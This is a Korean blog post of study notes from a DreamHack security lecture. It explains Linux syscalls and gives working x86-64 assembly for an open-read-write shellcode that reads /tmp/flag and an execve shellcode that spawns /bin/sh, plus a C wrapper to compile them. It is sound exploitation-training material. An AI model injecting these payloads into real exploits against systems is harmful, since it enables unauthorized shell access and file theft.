Shellcode 란?
셸을 획득하기 위한 목적으로 작성된 어셈블리 코드
orw(open-read-write) 셸코드 : 파일을 열고 읽은 뒤 화면에 출력해주는 셸코드
char arr[0x30];
int fd = open("~~", RD_ONLY, NULL);
"""
syscall : open
rax : 0x02
arg0(rdi) const char *filename
arg1(rsi) int flags
arg2(rdx) umode_t mode
"""
read(fd, buf, 0x30);
"""
syscall : read
rax : 0x00
arg0(rdi) unsigned int fd
arg1(rsi) char *buf
arg2(rdx) size_t count
"""
write(1, buf, 0x30);
"""
syscall : write
rax : 0x01
arg0(rdi) unsigned int fd
arg1(rsi) const char *buf
arg2(rdx) size_t count
"""
open, read, write 함수가 구현 되기 위해서 알아야할 syscall들
push 0x67
mov rax, 0x616c662f706d742f //강의에서는 예시로 /tmp/flag를 바꿔서 스택에 입력
push rax
mov rdi, rsp // rdi = "/tmp/flag"
xor rsi, rsi // rsi = 0
xor rdx, rdx // rdx = 0
mov rax, 2 // rax = 2
syscall
"""
syscall : open
rax : 0x02
arg0(rdi) const char *filename
arg1(rsi) int flags
arg2(rdx) umode_t mode
"""
open 구현코드
fd(File Descriptor, 파일 서술자) UNIX계열 운영체제에서 파일 접근 가상의 접근 제어자.
syscall의 반환자는 rax에 저장
따라서 위의 open호출 후 불러온 값이 fd 가 rax에 저장 된다.
mov rdi, rax //rdi = fd
mov rsi, rsp
sub rsi, 0x30 //rsi = rsp-0x30 buf
mov rdx, 0x30 //rdx = 0x30 len
mov rax, 0x0 //rax = 0
syscall
"""
syscall : read
rax : 0x00
arg0(rdi) unsigned int fd
arg1(rsi) char *buf
arg2(rdx) size_t count
"""
read 구현코드
rsi 는 파일에서 읽은 데이터를 저장할 주소
rdx 는 파일에서 읽어낼 데이터의 길이
mov rdi, 1// rdi = 1 fd = stdout
mov rax, 0x1// rax = 1
syscall
"""
syscall : write
rax : 0x01
arg0(rdi) unsigned int fd
arg1(rsi) const char *buf
arg2(rdx) size_t count
"""
위에서 작성한 셸코드는 ELF형식이 아니면 리눅스에서 실행될 수 없어 gcc컴파일을 해야된다.
__asm__(
".global run_sh\n"
"run_sh:\n"
"Input your shellcode here.\n"
"Each line of your shellcode should be\n"
"seperated by '\n'\n"
"xor rdi, rdi # rdi = 0\n"
"mov rax, 0x3c # rax = sys_exit\n"
"syscall # exit(0)");
void run_sh();
int main() { run_sh(); }
다음과 같은 방식인것 같다.
실습도 해보았다. 뒷내용은 gdb를 배운 다음에 해볼 수 있을 것같다.
execve 셸코드 : 임의의 프로그램을 실행하는 셸코드
//execve(“/bin/sh”, null, null)
mov rax, 0x68732f6e69622f // rax = "/bin/sh\x00"
push rax
mov rdi, rsp //rdi = "/bin/sh\x00"
xor rsi, rsi //rsi = NULL
xor rdx, rdx //rdx = NULL
mov rax, 0x3b //rax = sys_execve
syscall
"""
syscall : execve
rax : 0x3b
arg0(rdi) const char *filename
arg1(rsi) const char *const *argv
arg2(rdx) const char *const *envp
"""
위와 같은 방식으로 셸코드를 짤 수 있다.
실제로 셸이 실행 된 모습
'정보보안 > DreamHack' 카테고리의 다른 글
[Lecture]블록암호 : 운영모드(Cryptography) (0) | 2022.02.03 |
---|---|
[Lecture]현대암호(Cryptography) (0) | 2022.01.28 |
[Lecture]고전암호(Cryptography) (0) | 2022.01.27 |
[Wargame]Carve Party(web) (0) | 2022.01.24 |
[Wargame]file-download-1(web) (0) | 2022.01.23 |